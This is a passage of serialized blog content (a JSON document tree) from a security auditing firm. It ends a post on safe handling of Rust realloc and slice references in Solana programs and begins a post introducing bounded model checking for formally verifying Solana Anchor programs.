",{"type":23,"tag":94,"props":17305,"children":17307},{"className":17306},[],[17308],{"type":28,"value":14745},{"type":28,"value":17310},"'s data. The fix here is simple: keep that ",{"type":23,"tag":94,"props":17312,"children":17314},{"className":17313},[],[17315],{"type":28,"value":15980},{"type":28,"value":17317}," around and use it to access the data, instead of using ",{"type":23,"tag":94,"props":17319,"children":17321},{"className":17320},[],[17322],{"type":28,"value":17323},"RefCell::as_ptr",{"type":28,"value":17325},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":14716,"props":17327,"children":17328},{},[17329],{"type":23,"tag":31,"props":17330,"children":17334},{"href":17331,"ariaDescribedBy":17332,"dataFootnoteRef":7,"id":17333},"#user-content-fn-rustc-llvm",[14723],"user-content-fnref-rustc-llvm",[17335],{"type":28,"value":1567},{"type":28,"value":17337}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":14716,"props":17339,"children":17340},{},[17341],{"type":23,"tag":31,"props":17342,"children":17346},{"href":17343,"ariaDescribedBy":17344,"dataFootnoteRef":7,"id":17345},"#user-content-fn-godbolt",[14723],"user-content-fnref-godbolt",[17347],{"type":28,"value":1317},{"type":28,"value":17349},". So then we get:",{"type":23,"tag":304,"props":17351,"children":17353},{"className":2234,"code":17352,"language":2233,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[17354],{"type":23,"tag":94,"props":17355,"children":17356},{"__ignoreMap":7},[17357,17401,17408,17415,17499,17538,17545,17552],{"type":23,"tag":314,"props":17358,"children":17359},{"class":316,"line":317},[17360,17364,17368,17373,17377,17381,17385,17389,17393,17397],{"type":23,"tag":314,"props":17361,"children":17362},{"style":321},[17363],{"type":28,"value":11035},{"type":23,"tag":314,"props":17365,"children":17366},{"style":321},[17367],{"type":28,"value":2259},{"type":23,"tag":314,"props":17369,"children":17370},{"style":360},[17371],{"type":28,"value":17372}," slice",{"type":23,"tag":314,"props":17374,"children":17375},{"style":354},[17376],{"type":28,"value":1237},{"type":23,"tag":314,"props":17378,"children":17379},{"style":321},[17380],{"type":28,"value":13044},{"type":23,"tag":314,"props":17382,"children":17383},{"style":354},[17384],{"type":28,"value":282},{"type":23,"tag":314,"props":17386,"children":17387},{"style":332},[17388],{"type":28,"value":13121},{"type":23,"tag":314,"props":17390,"children":17391},{"style":338},[17392],{"type":28,"value":13126},{"type":23,"tag":314,"props":17394,"children":17395},{"style":354},[17396],{"type":28,"value":2409},{"type":23,"tag":314,"props":17398,"children":17399},{"style":338},[17400],{"type":28,"value":2278},{"type":23,"tag":314,"props":17402,"children":17403},{"class":316,"line":370},[17404],{"type":23,"tag":314,"props":17405,"children":17406},{"emptyLinePlaceholder":18},[17407],{"type":28,"value":1088},{"type":23,"tag":314,"props":17409,"children":17410},{"class":316,"line":380},[17411],{"type":23,"tag":314,"props":17412,"children":17413},{"style":374},[17414],{"type":28,"value":13650},{"type":23,"tag":314,"props":17416,"children":17417},{"class":316,"line":1091},[17418,17422,17426,17430,17434,17438,17442,17446,17450,17454,17458,17462,17466,17470,17474,17479,17483,17487,17491,17495],{"type":23,"tag":314,"props":17419,"children":17420},{"style":321},[17421],{"type":28,"value":11035},{"type":23,"tag":314,"props":17423,"children":17424},{"style":360},[17425],{"type":28,"value":13104},{"type":23,"tag":314,"props":17427,"children":17428},{"style":354},[17429],{"type":28,"value":1237},{"type":23,"tag":314,"props":17431,"children":17432},{"style":321},[17433],{"type":28,"value":13837},{"type":23,"tag":314,"props":17435,"children":17436},{"style":338},[17437],{"type":28,"value":1242},{"type":23,"tag":314,"props":17439,"children":17440},{"style":360},[17441],{"type":28,"value":14555},{"type":23,"tag":314,"props":17443,"children":17444},{"style":354},[17445],{"type":28,"value":282},{"type":23,"tag":314,"props":17447,"children":17448},{"style":332},[17449],{"type":28,"value":13135},{"type":23,"tag":314,"props":17451,"children":17452},{"style":338},[17453],{"type":28,"value":13126},{"type":23,"tag":314,"props":17455,"children":17456},{"style":354},[17457],{"type":28,"value":282},{"type":23,"tag":314,"props":17459,"children":17460},{"style":332},[17461],{"type":28,"value":13148},{"type":23,"tag":314,"props":17463,"children":17464},{"style":338},[17465],{"type":28,"value":341},{"type":23,"tag":314,"props":17467,"children":17468},{"style":354},[17469],{"type":28,"value":1051},{"type":23,"tag":314,"props":17471,"children":17472},{"style":1054},[17473],{"type":28,"value":3330},{"type":23,"tag":314,"props":17475,"children":17476},{"style":338},[17477],{"type":28,"value":17478},") } ",{"type":23,"tag":314,"props":17480,"children":17481},{"style":321},[17482],{"type":28,"value":8094},{"type":23,"tag":314,"props":17484,"children":17485},{"style":354},[17486],{"type":28,"value":357},{"type":23,"tag":314,"props":17488,"children":17489},{"style":321},[17490],{"type":28,"value":2979},{"type":23,"tag":314,"props":17492,"children":17493},{"style":2674},[17494],{"type":28,"value":5114},{"type":23,"tag":314,"props":17496,"children":17497},{"style":338},[17498],{"type":28,"value":2278},{"type":23,"tag":314,"props":17500,"children":17501},{"class":316,"line":1141},[17502,17506,17510,17514,17518,17522,17526,17530,17534],{"type":23,"tag":314,"props":17503,"children":17504},{"style":321},[17505],{"type":28,"value":13603},{"type":23,"tag":314,"props":17507,"children":17508},{"style":338},[17509],{"type":28,"value":1242},{"type":23,"tag":314,"props":17511,"children":17512},{"style":354},[17513],{"type":28,"value":256},{"type":23,"tag":314,"props":17515,"children":17516},{"style":360},[17517],{"type":28,"value":13196},{"type":23,"tag":314,"props":17519,"children":17520},{"style":354},[17521],{"type":28,"value":1237},{"type":23,"tag":314,"props":17523,"children":17524},{"style":360},[17525],{"type":28,"value":13205},{"type":23,"tag":314,"props":17527,"children":17528},{"style":321},[17529],{"type":28,"value":8080},{"type":23,"tag":314,"props":17531,"children":17532},{"style":2674},[17533],{"type":28,"value":5114},{"type":23,"tag":314,"props":17535,"children":17536},{"style":338},[17537],{"type":28,"value":1298},{"type":23,"tag":314,"props":17539,"children":17540},{"class":316,"line":1173},[17541],{"type":23,"tag":314,"props":17542,"children":17543},{"emptyLinePlaceholder":18},[17544],{"type":28,"value":1088},{"type":23,"tag":314,"props":17546,"children":17547},{"class":316,"line":1208},[17548],{"type":23,"tag":314,"props":17549,"children":17550},{"style":374},[17551],{"type":28,"value":15381},{"type":23,"tag":314,"props":17553,"children":17554},{"class":316,"line":1216},[17555,17559,17563,17567,17571,17576,17580,17584,17588,17593,17597,17601,17605,17609,17614,17618],{"type":23,"tag":314,"props":17556,"children":17557},{"style":354},[17558],{"type":28,"value":256},{"type":23,"tag":314,"props":17560,"children":17561},{"style":360},[17562],{"type":28,"value":14555},{"type":23,"tag":314,"props":17564,"children":17565},{"style":354},[17566],{"type":28,"value":1237},{"type":23,"tag":314,"props":17568,"children":17569},{"style":321},[17570],{"type":28,"value":13837},{"type":23,"tag":314,"props":17572,"children":17573},{"style":338},[17574],{"type":28,"value":17575}," { std",{"type":23,"tag":314,"props":17577,"children":17578},{"style":354},[17579],{"type":28,"value":2737},{"type":23,"tag":314,"props":17581,"children":17582},{"style":338},[17583],{"type":28,"value":14555},{"type":23,"tag":314,"props":17585,"children":17586},{"style":354},[17587],{"type":28,"value":2737},{"type":23,"tag":314,"props":17589,"children":17590},{"style":332},[17591],{"type":28,"value":17592},"from_raw_parts_mut",{"type":23,"tag":314,"props":17594,"children":17595},{"style":338},[17596],{"type":28,"value":341},{"type":23,"tag":314,"props":17598,"children":17599},{"style":360},[17600],{"type":28,"value":14555},{"type":23,"tag":314,"props":17602,"children":17603},{"style":354},[17604],{"type":28,"value":282},{"type":23,"tag":314,"props":17606,"children":17607},{"style":332},[17608],{"type":28,"value":13135},{"type":23,"tag":314,"props":17610,"children":17611},{"style":338},[17612],{"type":28,"value":17613},"(), ",{"type":23,"tag":314,"props":17615,"children":17616},{"style":360},[17617],{"type":28,"value":12970},{"type":23,"tag":314,"props":17619,"children":17620},{"style":338},[17621],{"type":28,"value":13988},{"type":23,"tag":24,"props":17623,"children":17624},{},[17625,17627,17632,17634,17639,17641,17646,17648],{"type":28,"value":17626},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":94,"props":17628,"children":17630},{"className":17629},[],[17631],{"type":28,"value":7297},{"type":28,"value":17633}," and not a ",{"type":23,"tag":94,"props":17635,"children":17637},{"className":17636},[],[17638],{"type":28,"value":15841},{"type":28,"value":17640}," for the size field, given that ",{"type":23,"tag":94,"props":17642,"children":17644},{"className":17643},[],[17645],{"type":28,"value":15841},{"type":28,"value":17647}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":14716,"props":17649,"children":17650},{},[17651],{"type":23,"tag":31,"props":17652,"children":17656},{"href":17653,"ariaDescribedBy":17654,"dataFootnoteRef":7,"id":17655},"#user-content-fn-slice-unbound-lifetime",[14723],"user-content-fnref-slice-unbound-lifetime",[17657],{"type":28,"value":17658},"6",{"type":23,"tag":17660,"props":17661,"children":17664},"section",{"className":17662,"dataFootnotes":7},[17663],"footnotes",[17665,17672],{"type":23,"tag":61,"props":17666,"children":17669},{"className":17667,"id":14723},[17668],"sr-only",[17670],{"type":28,"value":17671},"Footnotes",{"type":23,"tag":84,"props":17673,"children":17674},{},[17675,17780,17798,17853,17866,17894],{"type":23,"tag":88,"props":17676,"children":17678},{"id":17677},"user-content-fn-rc-refs",[17679,17681,17687,17689,17694,17696,17700,17702,17706,17708,17713,17715,17721,17723,17728,17730,17740,17742,17747,17749,17754,17756,17761,17763,17769,17771],{"type":28,"value":17680},"I find it helpful to view owning an ",{"type":23,"tag":94,"props":17682,"children":17684},{"className":17683},[],[17685],{"type":28,"value":17686},"Rc\u003CT>",{"type":28,"value":17688}," as holding a shared reference to the underlying ",{"type":23,"tag":94,"props":17690,"children":17692},{"className":17691},[],[17693],{"type":28,"value":5242},{"type":28,"value":17695}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":186,"props":17697,"children":17698},{},[17699],{"type":28,"value":15699},{"type":28,"value":17701}," ensures that the actual ",{"type":23,"tag":186,"props":17703,"children":17704},{},[17705],{"type":28,"value":249},{"type":28,"value":17707}," stays alive, however all you have is a reference to the ",{"type":23,"tag":94,"props":17709,"children":17711},{"className":17710},[],[17712],{"type":28,"value":5242},{"type":28,"value":17714}," (through the ",{"type":23,"tag":94,"props":17716,"children":17718},{"className":17717},[],[17719],{"type":28,"value":17720},"Deref\u003CTarget = T>",{"type":28,"value":17722}," impl) - ",{"type":23,"tag":186,"props":17724,"children":17725},{},[17726],{"type":28,"value":17727},"not",{"type":28,"value":17729}," ownership ",{"type":23,"tag":186,"props":17731,"children":17732},{},[17733,17735],{"type":28,"value":17734},"of the ",{"type":23,"tag":94,"props":17736,"children":17738},{"className":17737},[],[17739],{"type":28,"value":5242},{"type":28,"value":17741},". In short, owning an ",{"type":23,"tag":94,"props":17743,"children":17745},{"className":17744},[],[17746],{"type":28,"value":17686},{"type":28,"value":17748}," is owning a (shared, read-only) reference to ",{"type":23,"tag":94,"props":17750,"children":17752},{"className":17751},[],[17753],{"type":28,"value":5242},{"type":28,"value":17755},", not owning ",{"type":23,"tag":94,"props":17757,"children":17759},{"className":17758},[],[17760],{"type":28,"value":5242},{"type":28,"value":17762}," directly like with ",{"type":23,"tag":94,"props":17764,"children":17766},{"className":17765},[],[17767],{"type":28,"value":17768},"Box\u003CT>",{"type":28,"value":17770},". ",{"type":23,"tag":31,"props":17772,"children":17777},{"href":17773,"ariaLabel":17774,"className":17775,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[17776],"data-footnote-backref",[17778],{"type":28,"value":17779},"↩",{"type":23,"tag":88,"props":17781,"children":17783},{"id":17782},"user-content-fn-sendsync",[17784,17790,17791],{"type":23,"tag":94,"props":17785,"children":17787},{"className":17786},[],[17788],{"type":28,"value":17789},"!Send + !Sync",{"type":28,"value":5713},{"type":23,"tag":31,"props":17792,"children":17796},{"href":17793,"ariaLabel":17794,"className":17795,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[17776],[17797],{"type":28,"value":17779},{"type":23,"tag":88,"props":17799,"children":17801},{"id":17800},"user-content-fn-layout",[17802,17804,17809,17810,17823,17825,17830,17832,17837,17839,17844,17846],{"type":28,"value":17803},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":94,"props":17805,"children":17807},{"className":17806},[],[17808],{"type":28,"value":14181},{"type":28,"value":4756},{"type":23,"tag":31,"props":17811,"children":17814},{"href":17812,"rel":17813},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[35],[17815,17817],{"type":28,"value":17816},"not declared with ",{"type":23,"tag":94,"props":17818,"children":17820},{"className":17819},[],[17821],{"type":28,"value":17822},"#[repr(C)]",{"type":28,"value":17824},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":186,"props":17826,"children":17827},{},[17828],{"type":28,"value":17829},"breaks the entire chain",{"type":28,"value":17831}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":186,"props":17833,"children":17834},{},[17835],{"type":28,"value":17836},"some",{"type":28,"value":17838}," kind of interface to the specific layout of the specific ",{"type":23,"tag":94,"props":17840,"children":17842},{"className":17841},[],[17843],{"type":28,"value":15751},{"type":28,"value":17845}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":31,"props":17847,"children":17851},{"href":17848,"ariaLabel":17849,"className":17850,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[17776],[17852],{"type":28,"value":17779},{"type":23,"tag":88,"props":17854,"children":17856},{"id":17855},"user-content-fn-rustc-llvm",[17857,17859],{"type":28,"value":17858},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":31,"props":17860,"children":17864},{"href":17861,"ariaLabel":17862,"className":17863,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[17776],[17865],{"type":28,"value":17779},{"type":23,"tag":88,"props":17867,"children":17869},{"id":17868},"user-content-fn-godbolt",[17870,17877,17879,17885,17887],{"type":23,"tag":31,"props":17871,"children":17874},{"href":17872,"rel":17873},"https://godbolt.org/z/PK46xMbxc",[35],[17875],{"type":28,"value":17876},"Click here",{"type":28,"value":17878}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":94,"props":17880,"children":17882},{"className":17881},[],[17883],{"type":28,"value":17884},"libcore",{"type":28,"value":17886}," available for other architectures yet. ",{"type":23,"tag":31,"props":17888,"children":17892},{"href":17889,"ariaLabel":17890,"className":17891,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[17776],[17893],{"type":28,"value":17779},{"type":23,"tag":88,"props":17895,"children":17897},{"id":17896},"user-content-fn-slice-unbound-lifetime",[17898,17900,17905,17907,17913,17915,17921,17923,17929,17931,17937,17939,17945,17947,17952,17954],{"type":28,"value":17899},"The astute reader may have noticed that ",{"type":23,"tag":94,"props":17901,"children":17903},{"className":17902},[],[17904],{"type":28,"value":17592},{"type":28,"value":17906}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":94,"props":17908,"children":17910},{"className":17909},[],[17911],{"type":28,"value":17912},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":28,"value":17914},", the lifetime parameter ",{"type":23,"tag":94,"props":17916,"children":17918},{"className":17917},[],[17919],{"type":28,"value":17920},"'a",{"type":28,"value":17922}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":94,"props":17924,"children":17926},{"className":17925},[],[17927],{"type":28,"value":17928},"*slice",{"type":28,"value":17930},", which is ",{"type":23,"tag":94,"props":17932,"children":17934},{"className":17933},[],[17935],{"type":28,"value":17936},"&'info [u8]",{"type":28,"value":17938}," (where ",{"type":23,"tag":94,"props":17940,"children":17942},{"className":17941},[],[17943],{"type":28,"value":17944},"'info",{"type":28,"value":17946}," is the lifetime parameter of the ",{"type":23,"tag":94,"props":17948,"children":17950},{"className":17949},[],[17951],{"type":28,"value":14181},{"type":28,"value":17953}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":31,"props":17955,"children":17959},{"href":17956,"ariaLabel":17957,"className":17958,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[17776],[17960],{"type":28,"value":17779},{"type":23,"tag":2096,"props":17962,"children":17963},{},[17964],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":17966},[17967,17973,17977,17978,17980],{"id":13615,"depth":370,"text":17968,"children":17969},"Breaking down realloc",[17970,17971],{"id":13781,"depth":380,"text":13784},{"id":15133,"depth":380,"text":17972},"Back to realloc",{"id":16082,"depth":370,"text":16085,"children":17974},[17975,17976],{"id":16088,"depth":380,"text":16091},{"id":16310,"depth":380,"text":16313},{"id":16497,"depth":370,"text":16500},{"id":16898,"depth":370,"text":17979},"Towards safer unsafe",{"id":14723,"depth":370,"text":17671},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":17985,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":17986,"description":17987,"author":10,"image":17988,"date":17990,"isFeatured":18,"onBlogPage":18,"tags":17991,"body":17992,"_type":2117,"_id":28247,"_source":2119,"_file":28248,"_stem":28249,"_extension":2122},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.",{"src":17989,"height":12870,"width":12871},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[17,2134],{"type":20,"children":17993,"toc":28219},[17994,17999,18004,18030,18034,18046,18069,18091,18103,18126,18129,18136,18186,18192,18198,18203,18214,18255,18260,18266,18271,18504,18524,18529,18534,18607,18612,18681,18695,19119,19139,19145,19164,19169,19174,19179,19185,19197,19232,19243,19254,19266,19271,19303,19327,19346,19352,19369,19375,19402,19407,19427,19439,19585,19613,19616,19628,19711,19730,19733,19772,19939,19944,19950,19962,19980,19993,20154,20166,20179,20653,20658,20705,20711,20729,20798,21036,21250,21255,21329,21377,21382,21388,21490,21594,21599,21662,21667,21673,21738,21743,21785,21811,21817,21886,21891,21941,21952,21958,21969,21990,21995,22000,22023,22029,22041,22061,23173,23192,23243,23248,23256,23268,23273,23281,23286,23302,23338,23343,23437,23442,23450,23455,23567,23572,23580,23593,23757,23762,23770,23775,23780,23848,23882,23888,23893,23904,23922,24300,24312,24324,24332,24343,24374,24379,24387,24392,24665,24684,24689,24715,25583,25595,25694,25706,25748,25753,25765,25773,25778,25790,25816,25976,25988,25996,26001,26277,26282,26294,26449,26469,26795,26829,27023,27056,27068,27190,27210,27215,27220,27225,27238,27246,27251,27726,27738,27743,27755,27760,28019,28045,28050,28056,28062,28074,28086,28105,28152,28157,28163,28168,28173,28178,28183,28188,28193,28196,28215],{"type":23,"tag":24,"props":17995,"children":17996},{},[17997],{"type":28,"value":17998},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":24,"props":18000,"children":18001},{},[18002],{"type":28,"value":18003},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":24,"props":18005,"children":18006},{},[18007,18009,18013,18015,18020,18022,18029],{"type":28,"value":18008},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":186,"props":18010,"children":18011},{},[18012],{"type":28,"value":15613},{"type":28,"value":18014}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":186,"props":18016,"children":18017},{},[18018],{"type":28,"value":18019},"juciest",{"type":28,"value":18021},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":31,"props":18023,"children":18026},{"href":18024,"rel":18025},"https://rekt.news/leaderboard/",[35],[18027],{"type":28,"value":18028},"hundreds of millions of dollars",{"type":28,"value":282},{"type":23,"tag":18031,"props":18032,"children":18033},"hr",{},[],{"type":23,"tag":24,"props":18035,"children":18036},{},[18037,18039,18044],{"type":28,"value":18038},"At OtterSec we are ",{"type":23,"tag":186,"props":18040,"children":18041},{},[18042],{"type":28,"value":18043},"highly skilled in pest control",{"type":28,"value":18045}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":24,"props":18047,"children":18048},{},[18049,18051,18058,18060,18067],{"type":28,"value":18050},"Recently we were contacted by the ",{"type":23,"tag":31,"props":18052,"children":18055},{"href":18053,"rel":18054},"https://squads.so/",[35],[18056],{"type":28,"value":18057},"Squads team",{"type":28,"value":18059}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":31,"props":18061,"children":18064},{"href":18062,"rel":18063},"https://github.com/Squads-Protocol/squads-mpl",[35],[18065],{"type":28,"value":18066},"Squads Multisig Program",{"type":28,"value":18068}," as our main case study.",{"type":23,"tag":24,"props":18070,"children":18071},{},[18072,18074,18080,18082,18089],{"type":28,"value":18073},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":31,"props":18075,"children":18077},{"href":276,"rel":18076},[35],[18078],{"type":28,"value":18079},"anchor-lang",{"type":28,"value":18081}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":31,"props":18083,"children":18086},{"href":18084,"rel":18085},"https://github.com/model-checking/kani",[35],[18087],{"type":28,"value":18088},"Kani Rust Verifier",{"type":28,"value":18090},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":24,"props":18092,"children":18093},{},[18094,18096,18101],{"type":28,"value":18095},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":186,"props":18097,"children":18098},{},[18099],{"type":28,"value":18100},"bounded model checking",{"type":28,"value":18102}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":24,"props":18104,"children":18105},{},[18106],{"type":23,"tag":186,"props":18107,"children":18108},{},[18109,18111,18118,18120],{"type":28,"value":18110},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":31,"props":18112,"children":18115},{"href":18113,"rel":18114},"https://osec.io/contact",[35],[18116],{"type":28,"value":18117},"this form",{"type":28,"value":18119}," or email us at ",{"type":23,"tag":31,"props":18121,"children":18123},{"href":18122},"mailto:contact@osec.io",[18124],{"type":28,"value":18125},"contact@osec.io",{"type":23,"tag":18031,"props":18127,"children":18128},{},[],{"type":23,"tag":18130,"props":18131,"children":18133},"h4",{"id":18132},"contents",[18134],{"type":28,"value":18135},"Contents:",{"type":23,"tag":84,"props":18137,"children":18138},{},[18139,18144,18161,18171,18176,18181],{"type":23,"tag":88,"props":18140,"children":18141},{},[18142],{"type":28,"value":18143},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":88,"props":18145,"children":18146},{},[18147,18152,18154,18159],{"type":23,"tag":721,"props":18148,"children":18149},{},[18150],{"type":28,"value":18151},"Specification",{"type":28,"value":18153},": How can we describe what we ",{"type":23,"tag":186,"props":18155,"children":18156},{},[18157],{"type":28,"value":18158},"want",{"type":28,"value":18160}," our program to do?",{"type":23,"tag":88,"props":18162,"children":18163},{},[18164,18169],{"type":23,"tag":721,"props":18165,"children":18166},{},[18167],{"type":28,"value":18168},"Verification",{"type":28,"value":18170},": How do we check that our model is correct?",{"type":23,"tag":88,"props":18172,"children":18173},{},[18174],{"type":28,"value":18175},"Case Study: Squads Multisig",{"type":23,"tag":88,"props":18177,"children":18178},{},[18179],{"type":28,"value":18180},"Additional challenges in Solana",{"type":23,"tag":88,"props":18182,"children":18183},{},[18184],{"type":28,"value":18185},"Conclusion",{"type":23,"tag":61,"props":18187,"children":18189},{"id":18188},"formal-verification-with-bounded-model-checking",[18190],{"type":28,"value":18191},"Formal Verification with Bounded Model Checking",{"type":23,"tag":837,"props":18193,"children":18195},{"id":18194},"overview",[18196],{"type":28,"value":18197},"Overview",{"type":23,"tag":24,"props":18199,"children":18200},{},[18201],{"type":28,"value":18202},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":24,"props":18204,"children":18205},{},[18206,18208,18213],{"type":28,"value":18207},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":721,"props":18209,"children":18210},{},[18211],{"type":28,"value":18212},"bounded model checking (BMC)",{"type":28,"value":282},{"type":23,"tag":24,"props":18215,"children":18216},{},[18217,18219,18224,18226,18231,18233,18237,18239,18245,18247,18253],{"type":28,"value":18218},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":186,"props":18220,"children":18221},{},[18222],{"type":28,"value":18223},"symbolically",{"type":28,"value":18225}," rather than ",{"type":23,"tag":186,"props":18227,"children":18228},{},[18229],{"type":28,"value":18230},"concretely",{"type":28,"value":18232},". Instead of actually performing an ",{"type":23,"tag":186,"props":18234,"children":18235},{},[18236],{"type":28,"value":8887},{"type":28,"value":18238}," when we see the line ",{"type":23,"tag":94,"props":18240,"children":18242},{"className":18241},[],[18243],{"type":28,"value":18244},"int x = a + b",{"type":28,"value":18246},", we store the symbolic expression ",{"type":23,"tag":94,"props":18248,"children":18250},{"className":18249},[],[18251],{"type":28,"value":18252},"x == a + b",{"type":28,"value":18254},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":24,"props":18256,"children":18257},{},[18258],{"type":28,"value":18259},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":837,"props":18261,"children":18263},{"id":18262},"a-simple-example",[18264],{"type":28,"value":18265},"A simple example",{"type":23,"tag":24,"props":18267,"children":18268},{},[18269],{"type":28,"value":18270},"As an example, consider the following function:",{"type":23,"tag":304,"props":18272,"children":18274},{"code":18273,"language":308,"meta":7,"className":306,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[18275],{"type":23,"tag":94,"props":18276,"children":18277},{"__ignoreMap":7},[18278,18308,18342,18354,18379,18407,18422,18449,18456,18463,18471,18497],{"type":23,"tag":314,"props":18279,"children":18280},{"class":316,"line":317},[18281,18286,18291,18295,18299,18304],{"type":23,"tag":314,"props":18282,"children":18283},{"style":321},[18284],{"type":28,"value":18285},"int",{"type":23,"tag":314,"props":18287,"children":18288},{"style":332},[18289],{"type":28,"value":18290}," foo",{"type":23,"tag":314,"props":18292,"children":18293},{"style":338},[18294],{"type":28,"value":341},{"type":23,"tag":314,"props":18296,"children":18297},{"style":321},[18298],{"type":28,"value":18285},{"type":23,"tag":314,"props":18300,"children":18301},{"style":360},[18302],{"type":28,"value":18303}," x",{"type":23,"tag":314,"props":18305,"children":18306},{"style":338},[18307],{"type":28,"value":367},{"type":23,"tag":314,"props":18309,"children":18310},{"class":316,"line":370},[18311,18316,18320,18324,18329,18333,18338],{"type":23,"tag":314,"props":18312,"children":18313},{"style":321},[18314],{"type":28,"value":18315}," int",{"type":23,"tag":314,"props":18317,"children":18318},{"style":338},[18319],{"type":28,"value":3769},{"type":23,"tag":314,"props":18321,"children":18322},{"style":354},[18323],{"type":28,"value":1102},{"type":23,"tag":314,"props":18325,"children":18326},{"style":338},[18327],{"type":28,"value":18328}," x ",{"type":23,"tag":314,"props":18330,"children":18331},{"style":354},[18332],{"type":28,"value":1130},{"type":23,"tag":314,"props":18334,"children":18335},{"style":1054},[18336],{"type":28,"value":18337}," 3",{"type":23,"tag":314,"props":18339,"children":18340},{"style":338},[18341],{"type":28,"value":2278},{"type":23,"tag":314,"props":18343,"children":18344},{"class":316,"line":380},[18345,18349],{"type":23,"tag":314,"props":18346,"children":18347},{"style":321},[18348],{"type":28,"value":18315},{"type":23,"tag":314,"props":18350,"children":18351},{"style":338},[18352],{"type":28,"value":18353}," z;\n",{"type":23,"tag":314,"props":18355,"children":18356},{"class":316,"line":1091},[18357,18361,18366,18370,18375],{"type":23,"tag":314,"props":18358,"children":18359},{"style":2284},[18360],{"type":28,"value":11527},{"type":23,"tag":314,"props":18362,"children":18363},{"style":338},[18364],{"type":28,"value":18365}," (y ",{"type":23,"tag":314,"props":18367,"children":18368},{"style":354},[18369],{"type":28,"value":9710},{"type":23,"tag":314,"props":18371,"children":18372},{"style":1054},[18373],{"type":28,"value":18374}," 